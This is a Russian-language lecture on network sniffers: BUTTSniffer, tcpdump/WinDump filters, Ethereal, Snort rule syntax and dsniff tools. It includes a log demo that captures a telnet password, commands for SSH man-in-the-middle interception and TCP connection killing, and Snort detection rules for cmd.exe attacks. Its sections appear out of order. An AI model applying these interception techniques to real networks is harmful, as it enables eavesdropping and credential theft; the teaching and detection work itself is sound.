Первый шаг в изучении того, как использовать анализаторы сетевых потоков, состоит в том, чтобы сообщить ему, что мы хотим узнать. Мы делаем это через командную строку. Когда мы выполняем BUTTSniffer без опций, мы получаем резюме возможных опций:
BUTTSniffer v0.9 (c) 1998, Cult of the Dead Cow Usage: buttsniff -{idl} <arguments> -i (interactive) arguments: <device number> <port> -d (disk dump) arguments: <device number> <log file> <dump type> [filter] -l (list devices) arguments: (none)
Valid dump types are: r (raw frames) Dumps raw network traffic e (encapsulation) Dumps decoded packets with encapsulation information p (protocol) Dumps fully decoded packets with protocol information Valid filters are: A single number representing a port to be monitored (e.g. 80) A port range to be monitored (e.g. 141-1024) A filename containing a list of IP and port filter rules Read the 'readme.txt' for more information and examples. Filters are only active on dump type 'p'.
Итак, получается, что у BUTTSniffer есть только три режима: перечисление устройств, диалоговый и дамп на диск. Режим перечисления устройств сообщает, какие сетевые интерфейсы находятся на вашей машине. Каждому сетевому интерфейсу, даже адаптерам коммутируемой линии, назначены номера устройств. В двух других режимах инструмента BUTTSniffer вы должны знать номер устройства интерфейса, на котором хотите прослушивать трафик, так что режим перечисления устройств является первым шагом. Режимы дампа на диске и диалоговый немного сложнее в работе, они описаны далее.
WinDump - это просто порт Windows утилиты tcpdump. Использование tcpdump и WinDump почти взаимозаменяемо. В этой лекции мы сосредоточимся на утилите tcpdump, отмечая все различия между WinDump и tcpdump по мере продвижения. Вообще, если вы работаете дома, один, то можете использовать tcpdump вместо WinDump.
Первое обстоятельство, которое нужно иметь в виду, заключается в том, что утилита tcpdump обычно требует привилегированного доступа (root). Она должна выполняться с доступом root или setuid root. Этот тип доступа необходим утилите tcpdump и библиотеке libpcap для того, чтобы иметь очень низкий уровень доступа (то есть уровень ядра) к сетевым интерфейсам и сетевым данным. Это также удерживает "пользователя Джо" от установки анализатора сетевых пакетов для неуместного использования. Некоторые системы Unix требуют большего, а некоторые меньшего доступа - детали смотрите с помощью утилиты man или в файле README.
Примечание. Защита WinDump/WinPcap сделана немного слабее, чем защита tcpdump/libpcap. Когда выполняется WinDump, она пытается загружать файл WinPcap DLL, если он еще не выполняется. Загружать эту библиотеку DLL можно только с привилегиями администратора. Однако если WinPcap уже выполняется, то любой пользователь может с этого момента использовать его до тех пор, пока система не будет перезагружена или не будет остановлена служба Netgroup Packet Filter (только в NT/2000).
Другая причина, по которой пользователи libpcap и WinPcap нуждаются в низкоуровневом доступе, состоит в том, что по умолчанию эти анализаторы сетевых потоков переводят сетевой интерфейс, на котором они работают, в смешанный режим. Если вы помните наше обсуждение в начале лекции, некоторые сетевые устройства, типа хабов Ethernet, фактически передают пакет ко всем портам хаба, надеясь, что законный получатель обнаружит себя и примет пакет. Другие хосты, связанные с хабом, также получают этот пакет, но они, как предполагается, игнорируют его. Смешанный (Promiscuous) режим предписывает интерфейсу вмешиваться в чужие дела, и это позволяет утилите tcpdump видеть весь сетевой трафик на хабе, а не только трафик, который направлен к хабу или от него.
Самый простой путь состоит в применении Ethereal к уже существующему файлу перехваченных пакетов, созданному с использованием командной строки tcpdump -w capture.dump. В этом случае мы можем открыть файл дампа File/Open (Файл/Открыть). Откроется диалоговое окно Open Capture File (Открытие перехваченного файла), показанное ниже.
В этом диалоговом окне вы можете выбрать открываемый файл, а также установить такие опции, как разрешение имен и дополнительные пакетные фильтры. Пакетные фильтры могут быть определены при анализе файла перехваченных данных или при выполнении "живого" перехвата. (О пакетных фильтрах речь пойдет далее.)
Давайте откроем файл capture.dump и посмотрим, как Ethereal отображает данные. Отображение файла показано на рис. 14.1.
увеличить изображение
Рис. 14.1. Отображение в Ethereal файла дампа сеанса telnet, созданного утилитой WinDump
Как видно из рисунка, у Ethereal гораздо более понятный интерфейс, чем у tcpdump или WinDump. Верхняя панель содержит информацию, подобную той, которую дают два других инструмента, но здесь фактически мы можем перемещаться по этим данным. На рисунке выбран первый пакет подключения. В средней панели мы можем видеть детальную информацию о каждом заголовке пакета, включая TCP, IP и заголовочную информацию Ethernet. Третья панель содержит шестнадцатеричный и ASCII-дамп фактического содержания пакета. Таким образом, мы можем получить любой бит интересующей нас информации о любом пакете этого подключения, включая данные.
Реализация: инструментальные средства
Как уже упоминалось, dsniff фактически является совокупностью различных инструментальных средств. Мы кратко рассмотрим каждый индивидуальный инструмент, что он может делать, и как он может использоваться в хороших и дурных целях.
Режим дампа на диске
Если вы хотите контролировать некоторые виды деятельности в течение длительного периода времени, намного легче использовать режим дампа на диске. В этом режиме вы теряете многие из свойств "легкого использования" диалогового режима, но получаете возможность записывать эту деятельность в файл в определенных форматах, который позволяет вам запустить анализатор сетевых потоков (sniffer), оставить его работающим в течение дня и затем позже анализировать полученный журнал (logfile). Хакеры или системные администраторы могли бы даже писать скрипты для создания отчетов на основе выходных файлов анализатора.
Так же как и в диалоговом режиме, командная строка для режима дампа на диске в качестве первого параметра содержит номер устройства вашего интерфейса (полученный при первом выполнением команды buttsniff -l). Второй параметр - это имя файла, который вы хотите использовать в качестве журнала регистрации. Третья опция - вид файла регистрации, который вы хотите получить. Для этой опции возможны три варианта: raw (r) (необработанный), encapsulation (e) (инкапсулированный) и protocol (p) (протокол). Варианты raw (r) и encapsulation (e) полезны только в том случае, если вы имеете шестнадцатеричный редактор и хорошее знание протокола, который вы прослушиваете, чтобы быть способным перебрать информацию байт за байтом. Большинство из нас выберут опцию протокола, поскольку в ней TCP-пакеты расшифровываются и отображаются в информативном, но простом для чтения файле регистрации.
Ниже приведена часть вывода из файла регистрации, полученного при использовании команды buttsniff -d 1 proto.log p:
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 0 Source Port: 2111 Target Port: 23 Seq: 0919F2F2 Ack: 00000000 Flags: S Window: 65535 TCP ChkSum: 64163 UrgPtr: 0
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 0 Source Port: 23 Target Port: 2111 Seq: 7BFD410D Ack: 0919F2F3 Flags: SA Window: 32120 TCP ChkSum: 49167 UrgPtr: 0
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 0 Source Port: 2111 Target Port: 23 Seq: 0919F2F3 Ack: 7BFD410E Flags: A Window: 65535 TCP ChkSum: 27212 UrgPtr: 0 Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 3 Source Port: 2111 Target Port: 23 Seq: 0919F2F3 Ack: 7BFD410E Flags: PA Window: 65535 TCP ChkSum: 19269 UrgPtr: 0 00000000: FF FB 1F яы.
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 0 Source Port: 23 Target Port: 2111 Seq: 7BFD410E Ack: 0919F2F6 Flags: A Window: 32120 TCP ChkSum: 60624 UrgPtr: 0
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 18 Source Port: 2111 Target Port: 23 Seq: 0919F2F6 Ack: 7BFD410E Flags: PA Window: 65535 TCP ChkSum: 10271 UrgPtr: 0 00000000: FF FB 20 FF FB 18 FF FB 27 FF FD 01 FF FB 03 FF яы яы.яы"яы.яы.я 00000010: FD 03 э
Мы вывели здесь совсем немного информации, так что давайте слегка разберемся с ней.
Ясно, что каждый пакет имеет свою собственную запись в журнале. Из первого пакета мы видим, что с адреса 192.168.1.101 послан пакет на адрес 192.168.1.100 с портом назначения 23 (telnet). Если мы посмотрим на флаги на этом пакете, то увидим, что установлен флаг S (или SYN). Флаг SYN указывает на инициирование TCP-подключения. Следующая строка показывает ответ с адреса 192.168.100 обратно по адресу 192.168.1.101 к порту назначения (2111, в этом случае) с установленным флагом SA (или SYN/ACK). Следующая строка показывает пакет с адреса 192.168.1.101 с установленным флагом A (или ACK). Все это представляет методологию TCP - "трехэтапное квитирование" для установления соединения.
Итак, мы зафиксировали начало telnet подключения между этими двумя хостами. Ни один из первых трех пакетов не имеет никаких данных вне TCP-заголовков, но если мы посмотрим несколько ниже, то увидим шестнадцатеричный и ASCII-дамп некоторого "мусора", извлеченного из поля данных TCP-пакетов. Помните, что прежде чем telnet предоставит вам приглашение на вход в систему, клиент и сервер ведут переговоры относительно некоторых опций telnet (тип терминала, например). Этот "мусор" как раз и содержит такие переговоры. Пропустив их, мы должны найти более ценную информацию. Вот полезный текст:
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 7 Source Port: 23 Target Port: 2111 Seq: 7BFD418A Ack: 0919F33F Flags: PA Window: 32120 TCP ChkSum: 35305 UrgPtr: 0 00000000: 6C 6F 67 69 6E 3A 20 login:
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 0 Source Port: 2111 Target Port: 23 Seq: 0919F33F Ack: 7BFD4191 Flags: A Window: 65404 TCP ChkSum: 27136 UrgPtr: 0 Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 1 Source Port: 2111 Target Port: 23 Seq: 0919F33F Ack: 7BFD4191 Flags: PA Window: 65404 TCP ChkSum: 2039 UrgPtr: 0 00000000: 62 b
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 1 Source Port: 23 Target Port: 2111 Seq: 7BFD4191 Ack: 0919F340 Flags: PA Window: 32120 TCP ChkSum: 35322 UrgPtr: 0 00000000: 62 b
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 1 Source Port: 2111 Target Port: 23 Seq: 0919F340 Ack: 7BFD4192 Flags: PA Window: 65403 TCP ChkSum: 64245 UrgPtr: 0 00000000: 6F o
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 1 Source Port: 23 Target Port: 2111 Seq: 7BFD4192 Ack: 0919F341 Flags: PA Window: 32120 TCP ChkSum: 31992 UrgPtr: 0 00000000: 6F o
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 1 Source Port: 2111 Target Port: 23 Seq: 0919F341 Ack: 7BFD4193 Flags: PA Window: 65402 TCP ChkSum: 2037 UrgPtr: 0 00000000: 62 b
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 1 Source Port: 23 Target Port: 2111 Seq: 7BFD4193 Ack: 0919F342 Flags: PA Window: 32120 TCP ChkSum: 35318 UrgPtr: 0 00000000: 62 b
Адрес 192.168.1.101 был представлен с приглашением входа в систему. Если мы сосредоточимся на пакетах, прибывающих с адреса отправителя 192.168.1.101 и направленных получателю 192.168.1.100, мы увидим, что пользователь набрал b-o-b. Каждый раз, когда хост с адресом 192.168.1.101 посылает символ, хост с адресом 192.168.1.100 повторяет его в обратном направлении. Сервер telnet "повторяет" то, что мы набрали, когда подтверждает получение наших символов. Другими словами, все, что мы набрали, никогда не должно отображаться у клиента. С протоколом telnet нажатия клавиши немедленно посылаются серверу вместо попадания в буфер клиента.
Если мы посмотрим еще ниже, то найдем действительно полезную информацию:
Source IP: 192.168.1.100 Target IP: 192.168.1. 101 TCP Length: 10 Source Port: 23 Target Port: 2111 Seq: 7BFD4196 Ack: 0919F344 Flags: PA Window: 32120 TCP ChkSum: 1056 UrgPtr: 0 00000000: 50 61 73 73 77 6F 72 64 3A 20 Password: Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 0 Source Port: 2111 Target Port: 23 Seq: 0919F344 Ack: 7BFD41A0 Flags: A Window: 65389 TCP ChkSum: 27131 UrgPtr: 0
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 1 Source Port: 2111 Target Port: 23 Seq: 0919F344 Ack: 7BFD41A0 Flags: PA Window: 65389 TCP ChkSum: 2034 UrgPtr: 0 00000000: 62 b
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 0 Source Port: 23 Target Port: 2111 Seq: 7BFD41A0 Ack: 0919F345 Flags: A Window: 32120 TCP ChkSum: 60399 UrgPtr: 0
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 1 Source Port: 2111 Target Port: 23 Seq: 0919F345 Ack: 7BFD41A0 Flags: PA Window: 65389 TCP ChkSum: 64240 UrgPtr: 0 00000000: 6F o
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 0 Source Port: 23 Target Port: 2111 Seq: 7BFD41A0 Ack: 0919F346 Flags: A Window: 32120 TCP ChkSum: 60398 UrgPtr: 0
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 1 Source Port: 2111 Target Port: 23 Seq: 0919F346 Ack: 7BFD41A0 Flags: PA Window: 65389 TCP ChkSum: 2032 UrgPtr: 0 00000000: 62 b
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 0 Source Port: 23 Target Port: 2111 Seq: 7BFD41A0 Ack: 0919F347 Flags: A Window: 32120 TCP ChkSum: 60397 UrgPtr: 0
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 1 Source Port: 2111 Target Port: 23 Seq: 0919F347 Ack: 7BFD41A0 Flags: PA Window: 65389 TCP ChkSum: 14575 UrgPtr: 0 00000000: 31 1
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 0 Source Port: 23 Target Port: 2111 Seq: 7BFD41A0 Ack: 0919F348 Flags: A Window: 32120 TCP ChkSum: 60396 UrgPtr: 0
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 1 Source Port: 2111 Target Port: 23 Seq: 0919F348 Ack: 7BFD41A0 Flags: PA Window: 65389 TCP ChkSum: 14318 UrgPtr: 0 00000000: 32 2
Source IP: 192.168.1.100 Target IP: 192.168.1.101 TCP Length: 0 Source Port: 23 Target Port: 2111 Seq: 7BFD41A0 Ack: 0919F349 Flags: A Window: 32120 TCP ChkSum: 60395 UrgPtr: 0
Source IP: 192.168.1.101 Target IP: 192.168.1.100 TCP Length: 1 Source Port: 2111 Target Port: 23 Seq: 0919F349 Ack: 7BFD41A0 Flags: PA Window: 65389 TCP ChkSum: 14061 UrgPtr: 0 00000000: 33 3
Похоже на то, что мы подслушали нехитрый пароль Боба. Снова, сосредотачиваясь только на пакетах, прибывающих с адреса отправителя 192.168.1.101 получателю 192.168.1.100, мы видим, что пользователь набрал b-o-b-1-2-3. Обратите внимание, что пакеты подтверждения от сервера telnet не делают повторения ввода, как это произошло с именем пользователя. Так и должно быть, потому что когда мы вводим пароль, мы не видим его напечатанным на экране telnet.
Анализаторы сетевых потоков дают также отличную возможность узнать больше о TCP/IP. Здесь видно, как размер пакетов данных влияет на порядковый номер пакета, и как используются флаги.
Аналогично тому, как диалоговый режим инструмента BUTTSniffer имеет фильтры, режим дампа диска имеет необязательный "файл фильтра", который может быть указан в конце командной строки. Файл использует ту же самую методику, которая используется в диалоговом меню. Пустой файл фильтра означает, что BUTTSniffer должен регистрировать все. Если вы хотите сосредоточиться на определенном IP-адресе или порте, вы сначала должны исключить все остальное.
Ниже приводится синтаксис файла фильтра, который устанавливает тот же самый фильтр, который мы использовали в диалоговом режиме:
-*.*.*.* +192.168.1.100 -0-65535 +23 +80
Выглядит незамысловато. Сохраните этот текст как myfilter.fil, а затем выполните команду buttsniff-d 1 sniff.log p myfilter.fil, чтобы прослушивать только telnet и деятельность сети, направленную по адресу 192.168.1.100 и обратно.
Совет. Если вам не требуется фильтровать IP-адреса, но необходимо фильтровать порты, не нужно создавать файл фильтра. Можно просто заменить myfilter.fil в этом примере единственным номером порта или диапазоном номеров порта, например, buttsniff-d l sniff.log p 23.Если вы хотите определить несколько портов не из диапазона, вам надо будет использовать файл фильтра.
Режимы инструмента snort
Snort может действовать, как автономный анализатор и перехватчик сетевых пакетов, как регистратор пакетов, или как система обнаружения вторжений (IDS). Первые два режима действительно не имеют никакого преимущества по отношению к другим анализаторам, за исключением того, что регистратор пакетов инструмента Snort может регистрировать пакеты на диск в каталоге с хорошо организованной структурой. Работа Snort с файлом правил (обычно snort.conf) вынудит его регистрировать только те пакеты, которые соответствуют правилам, указанным в этом файле.
Синтаксис командной строки: спецификации фильтров
Утилита tcpdump позволяет использовать булевское выражение для определения пакетного фильтра. Булевское выражение может состоять из нескольких выражений, объединенных вместе с помощью операторов AND, OR или NOT. Типичный формат выражения такой:
<Характеристика пакета> <значение>
Спецификаторы типа. Наиболее типичные характеристики пакета, называемые спецификаторами (qualifiers) - спецификаторы типа: host (хост), net (сеть) и port (порт). Например, командная строка:
%tcpdump host 192.168.1.100
говорит о том, что мы хотим видеть только пакеты, идущие по адресу 192.168.1.100 или от него. Если нас интересует только Web-трафик, мы можем попробовать следующее:
%tcpdump host 192.168.1.100 and port 80
Это выражение позволяет нам иметь тот же самый уровень функциональности фильтра, который мы имели с программой BUTTSniffer. Но утилита tcpdump имеет еще несколько модификаторов, из которых вы можете выбирать. В данном случае, нам не надо сначала исключать весь трафик, чтобы сосредоточиться на определенном хосте.
Спецификаторы направления. tcpdump позволяет определять фильтры направлений. Например, если нас интересует только трафик, прибывающий с адреса 192.168.1.100, который предназначен чьему-то Web-порту, мы используем спецификаторы направлений src и dst:
%tcpdump src host 192.168.1.100 and dst port 80
Этот фильтр дает нам именно то, что мы ищем. Иначе, мы видели бы трафик, прибывающий из других мест на Web-сервер хоста 192.168.1.100, когда это нас совсем не интересует.
Если вы не указываете спецификатор направления для спецификатора типа, tcpdump подразумевает src или dst. Вторая команда, которую мы рассматривали, могла бы быть переписана следующим образом:
%tcpdump src or dst host 192.168.1.100 and src or dst port 80 Примечание. Для протоколов типа "точка-точка", таких как протоколы коммутируемых линий Serial Line Internet Protocol (SLIP) и Point-to-Point Protocol (PPP), утилита tcpdump использует другие спецификаторы направления inbound (прибывающий) и outbound (исходящий).
Спецификаторы протокола. У tcpdump также есть спецификаторы протокола, которые могут применяться к вашему выражению. Например, строка
%tcpdump src host 192.168.1.100 and udp dst port 53
даст исходящие DNS (Domain Name System) запросы с хоста 192.168.1.100. Обратите внимание на спецификатор протокола udp, расположенный перед спецификатором порта dst. Другие спецификаторы протокола для спецификаторов типа порта - tcp и icmp. Некоторые спецификаторы протокола используются при спецификаторах типа хоста, например ip, ip6, arp и ether.
Эта команда дает все arp-запросы на нашей локальной подсети:
%tcpdump arp net 192.168.1
Если мы знаем MAC-адрес определенного хоста, и хотим установить на него фильтр, то можно использовать следующую строку:
%tcpdump ether host 00:e0:29:38:b4:67
Если никакие спецификаторы протокола не даны, tcpdump подразумевает значения ip, arp или rarp для спецификаторов типа хоста, и tcp или udp для спецификаторов типа порта.
Другие спецификаторы. До сих пор синтаксис для отдельного выражения, устанавливающего соответствие пакетов некоторым требованиям, выглядит так:
[Спецификатор протокола] [спецификатор направления] <спецификатор типа> значение
Несколько других необязательных спецификаторов, которые могут использоваться для определения дополнительных характеристик пакета, показаны в таблице 14.1.
gateway | Отображает только пакеты, которые используют router1 в качестве шлюза (gateway). Значение, используемое с gateway, должно быть именем хоста, поскольку выражение должно разрешать имя хоста к IP-адресу (используя /etc/hosts или DNS), а также к Ethernet-адресу (используя /etc/ethers). | tcpdump gateway router1 (Чтобы использовать прямо IP- и MAC-адреса, используйте tcpdump ether host <mac_of_host> and not ip host <ip_of_host>, что эквивалентно использованию фильтра шлюза, но с адресами вместо имен хостов.) |
broadcast, multicast | broadcast отображает только широковещательные пакеты, (в данном случае, пакеты с адресами получателя 192.168.1.0 или 192.168.1.255). multicast отображает только IP-пакеты, предназначенные группе адресов. | tcpdump ip broadcast net 192.168.1 |
proto | Этот полезный спецификатор позволяет вам определять подпротоколы определенного протокола, даже если у tcpdump нет для этого встроенного ключевого слова. Названия протоколов нужно отделять, используя обратную наклонную черту, чтобы оградить tcpdump от интерпретации их, как ключевого слова, но вы можете также в этом месте использовать номера протоколов. Некоторые популярные номера IP-подпротоколов следующие: 1 (ICMP), 6 (TCP) и 17 (UDP). | tcpdump ip proto 17. (Выражение ip host 192.168.1.100 and tcp port 80 может быть записано как ether proto \\ip and host 192.168.1.100 and ip proto \\tcp and port 80. Обратите внимание, как модификатор протокола в каждом случае расширяется к <protocol> proto <sub-protocol>.) |
mask | Этот спецификатор может определить маску подсети для спецификаторов типа сети. Это редко используется, потому что можно указать маску сети в значении, предназначенном для указания спецификатора типа сети. | tcpdump net 192.168.1.0 mask 255.255.255.0. (Или по другому, как tcpdump net 192.168.1.0/24.) |
len,_greater,_less | Пакеты могут быть отфильтрованы по их размеру. Спецификаторы greater и less являются просто сокращением для длинных выражений, которые используют ключевое слово len. В обоих примерах показываются только пакеты, которые имеют размеры 80 байт или больше. | tcpdump greater 80 и tcpdump len>= 80. |
Packet_content_expressions | Для опытных пользователей. Вы можете фильтровать пакеты, основываясь на их содержании. Используйте название протокола (такое как ether, ip или tcp), за ним значение смещения в байтах от искомого заголовка в квадратных скобках, как индекс массива (udp [4], чтобы определить длину UDP-дэйтаграммы), далее булевский оператор и другое выражение. Обратите внимание, что большинство выражений должно быть заключено в кавычки, потому что интерпретатор команд (shell), который вы используете, вероятно, будет пробовать интерпретировать их прежде, чем это будет делать tcpdump. | tcpdump 'udp[4] >= 24'. (В этом примере отображаются только UDP-пакеты, у которых размеры полезных данных превышают 24 байта. См. другие примеры в справке man.) |
Значения. Очевидно, что значения для спецификаторов зависят от используемого спецификатора. В общем виде, значение может быть или символическим названием, или соответствующим числом.
host - спецификаторы типа хостов имеют значения имен хостов или числовых адресов. (Являются ли они IP-адресами, MAC-адресами или другими адресами, зависит от предшествующего им спецификатора протокола.)port - спецификаторы типа портов используют символические названия (из /etc/services) для портов или непосредственно номера портов.net - спецификаторы типа сети используют сетевые адреса и маски сети написанные или с сетевыми октетами (типа 192.168), с последующим числом сетевых байтов (192.168.0.0/16), или с последующей сетевой маской (192.168.0.0 mask 255.255.0.0).proto - спецификаторы типа протокола используют символические названия (ip, tcp, udp) или номера протоколов, определенные в /etc/protocols.Примечание. Поскольку в Windows нет никакого каталога /etc, WinDump использует хосты и файлы служб, которые установлены в корневом каталоге Windows (например, C:\Windows\).
Синтаксис правил инструмента snort
Детали, касающиеся синтаксиса правил инструмента Snort можно найти на сайте http://www.snort.org/. Мы дадим краткое резюме того, как пишутся эти правила.
Основные правила Snort состоят из двух частей: заголовка и опций. Первая часть заголовка сообщает инструменту Snort, какого типа правило последует (предупреждение, регистрация, пропуск). Остальная часть заголовка указывает протокол (ip, udp, icmp или tcp), оператор направления (или - >, чтобы определить направление от отправителя к получателю или < >, чтобы определить двунаправленность), а также IP-адрес и порт отправителя и получателя. IP-адрес отправителя и получателя можно написать, используя синтаксис aaa.bbb.ccc.ddd/yy, где yy - число сетевых байтов (то есть маска сети). Это позволяет вам указать как сети, так и отдельные хосты. Несколько адресов можно указать, помещая их в скобках и отделяя запятыми подобно примеру. [192.168.1.0/24,192.168.2.4,192.168.2.10]. Диапазоны портов могут быть указаны с помощью двоеточия (так, что :1024 означает все порты вплоть до 1024, 1024: означает 1024 и выше, а 1024:6000 означа ет порты от 1024 до 6000). Вы также можете использовать ключевое слово any, чтобы указать все IP-адреса и порты. Можно использовать восклицательный знак (!) для отрицания IP-адреса или порта (например, запись 1:1024 и !1025: эквивалентны).
Опции правил содержат такие вещи, как предупреждающее сообщение для некоторого правила и содержания пакета, которое должно использоваться для идентификации соответствующих пакетов. Опции всегда заключаются в круглые скобки.
Ниже приводится пример правил для инструмента Snort, которые обнаруживают тех, кто пытается получить доступ к cmd.exe через IIS Web-сервер.
alert tcp $EXTERNAL_NET any - $HTTP_SERVERS 80 (msg:"WEB-IIS cmd.exe access"; flags: A+; content:"cmd.exe"; nocase; classtype:web-application-attack; sid:1002; rev:2;)
alert tcp $EXTERNAL_NET any - $HTTP_SERVERS 80 (msg:"WEB-IIS cmd? access"; flags: A+; content:".cmd?&"; nocase; classtype:web-application-attack; sid:1003; rev:2;)"
Заданный по умолчанию набор правил для Snort состоит из единственного файла, называемого snort.conf и нескольких файлов с расширением .rules. Файл snort.conf является главным файлом правил, но он включает другие файлы правил, используя инструкцию include. Это позволяет вам разбивать правила на логические разделы. Файл snort.conf позволяет вам также определять переменные, которые могут использоваться во всех ваших правилах. Это сделано с помощью команды var.
В предыдущем примере, мы определили переменную с именем DNS_SERVERS. Файл snort.conf позволяет вам определять несколько переменных такого рода, и вы можете указать в своих правилах, какие машины являются Web-серверами, какие - почтовыми серверами, SQL-серверами, DNS-серверами и так далее. Это поможет инструменту Snort применять правила соответствия более рационально и эффективно. Например, нет никакого смысла в применении правил, написанных для обнаружения программных средств Web-сервера (то есть использования этих средств с целью взлома), применительно к трафику, поступающему с машины, на которой отсутствует Web-сервер.
Другое специальное правило инструмента Snort - правило конфигурации (config rule), которое позволяет вам указать некоторые из опций конфигурации, которые вы обычно помешаете в командную строку, в файле snort.conf.
Вы можете выполнить много других задач, используя правила инструмента Snort в современных версиях. Snort позволяет вам определять свои собственные типы правил, позволяющих регистрировать данные в разных местах, используя различные методы с помощью модулей вывода, которые мы обсудим позже, в разделе "Модули вывода".
Недавно в Snort добавили также поддержку динамических правил, которые являются "активизируются" другими правилами инструмента Snort. Фактический метод, в котором это сделано, находится в центре реконструкции предпринятой разработчиками Snort, но концепция осталась той же самой. Правило, имеющее "активизирующий" тип, включит "динамическое" правило, которое с ним связано.Это чрезвычайно полезно. До появления этих типов правил, бывало, что если кто-то успешно применил программу взлома (exploit) к одной из ваших систем, то Snort мог зарегистрировать этот факт, потому что пакет программы взлома соответствовал правилу. Но чтобы ни делал хакер после успешного применения программы взлома, никогда не регистрировалось, потому что оно не соответствовало никаким правилам. Если же мы используем активизирующий тип правила для обнаружения этой программы взлома, то оно может связаться с динамическим правилом, которое за тем перехватит следующие 500 пакетов хакера, которые позволят понять то, что он делал после успешного взлома.
Правила являются душой и сердцем инструмента Snort. Если вы овладеете этими правилами, то можете точно отрегулировать Snort, превращая его в чрезвычайно мощное оружие против потенциальных взломщиков.
Sshmitm
Sshmitm является одним из самых опасных инструментальных средств, которые поставляются с комплектом dsniff. Предположим, вы выполняете утилиту dnsspoof, чтобы подделать имена хоста реальной машины. Утилита sshmitm, которая расшифровывается как "SSH Monkey in the Middle", может перехватить SSH-трафик, перенаправленный на вашу машину. Sshmitm поддерживает только протокол SSH версии 1 (серьезное основание, чтобы модернизировать инструмент к версии 2).
Как это сделано? Инструмент dnsspoof позволяет нам перехватить SSH-подключение к другой машине. Все, что надо сделать - это запустить sshmitm на порте 22 (мы можем изменять порт, который использует sshmitm с помощью опции -p) и устанавливать его так, чтобы ретранслировать SSH-подключение к нужному хосту. Если мы выполняем dnsspoof, сообщая всем, что мы являемся хостом Originix, когда в действительности Originix - это машина с адресом 192.168.1.100, то когда somehost осуществляет SSH-запрос к Originix, он сначала ищет Originix и находит его по нашему подделанному IP-адресу. Так, что если мы выполняем команду sshmitm -p 22 192.168.1.100 22, мы можем перехватить SSH-подключение от somehost перед тем, как передать его к Originix. Что это нам дает? Когда SSH договариваются о ключах, которые будут использоваться для шифрования данных, sshmitm может перехватить ключ от somehost и заменить его известным нам ключом. Это позволит нам расшифровывать всю информацию на перехваченном подключении.
Tcpdump и WinDump
Загружаемый с сайта http://www.tcpdump.org, tcpdump является широко конфигурируемым пакетом анализатора сетевых потоков, который управляется из командной строки и предназначен для системы Unix. В то время как BUTTSniffer первоначально предназначался как дополнительный хакерский модуль (plug-in) для подслушивания на собственной системе, tcpdump был сделан специально для прослушивания сети, анализа и тестирования трафика и для перехвата пакетов.
tcpdump, скорее, представляет собой анализатор сетевых пакетов, чем сетевых потоков. Его способности фильтрации превосходят многие другие инструментальные средства, но он не обязательно облегчит вам перехват пакетов данных. Утилита действительно позволяет получать много интересной низкоуровневой информации о пакетах, передающихся по вашей сети, и может помочь вам диагностировать все виды сетевых проблем.
Tcpkill
Этот инструмент пытается уничтожить действующее TCP-подключение, мистифицируя сброс, т.е. RST-пакет и вбрасывая его в законное подключение. Как и в других инструментах, опция -i позволяет выбрать ваш интерфейс, а для выбора типа подключений, которые вы хотите уничтожить, может использоваться выражение для пакетного фильтра, такое же, как в tcpdump. Дополнительная опция, -<num>, где num - любое число от 1 до 9, сообщает tcpkill, как сильно надо стараться, чтобы уничтожить подключение. В быстрые подключения может быть труднее ввести пакет, чем в медленные. По умолчанию значение степени "уничтожения" равно 3.
Tcpnice
Возможно так же, что вы не хотите уничтожить подключение полностью. Инструмент Tcpnice позволит вам немного замедлить его. Используете те же самые опции, которые используются в tcpkill, за исключением того, что вместо попытки вводить RST-пакеты с разным уровнем суровости, вы используете опцию -n <приращение>, чтобы определить, на сколько вы хотите замедлить подключение. Приращение 1 дает заданную по умолчанию скорость, а приращение 20 дает самую медленную скорость. Инструмент выполняет это замедление, регулируя то количество данных, которое хосты, "по их словам", могут обрабатывать.
Часть TCP-заголовка представляет собой размер окна, который позволяет хосту рекламировать максимальное количество данных, которые он может обрабатывать. Инструмент tcpnice прослушивает трафик, соответствующий вашему tcpdump-выражению пакетного фильтра и изменяет значение рекламируемого размера окна на значение меньшее, чем оно есть на самом деле. Используете флаг -n, чтобы настроить, на сколько должно быть уменьшено окно. Это даст знать хосту на другом конце сеанса связи, что требуется прекратить посылку такого большого количества данных так быстро, и подключение замедлится. Чтобы подбавить "масло в огонь", вы можете использовать опцию -I для подделки исходных подавленных ответов ICMP, чтобы заставить хост на другом конце думать, что он загружает хост с большим количеством данных, чем тот может обработать. Это может еще больше замедлить подключение.
Urlsnarf
Urlsnarf работает так же, как все другие snarf-программы в этом наборе инструментов, но только с URL-адресами сети. Инструмент сохраняет любые URL, которые он перехватывает из трафика HTTP в регистрационный файл, который может быть проанализирован позже. Это быстрый и простой способ узнать, чем интересуются люди из вашей локальной сети в интернете.
Установка
Утилиты Tcpdump и WinDump, ее воплощение под Windows, используют библиотеку pcap, набор подпрограмм по перехвату пакетов данных, написанный в Национальной лаборатории Лоренса Беркелея (Lawrence Berkeley National Laboratory). Программы pcap обеспечивают интерфейс и функциональность для фильтрации пакетов на уровне операционной системы и дизассемблирование IP-пакетов в необработанные данные.
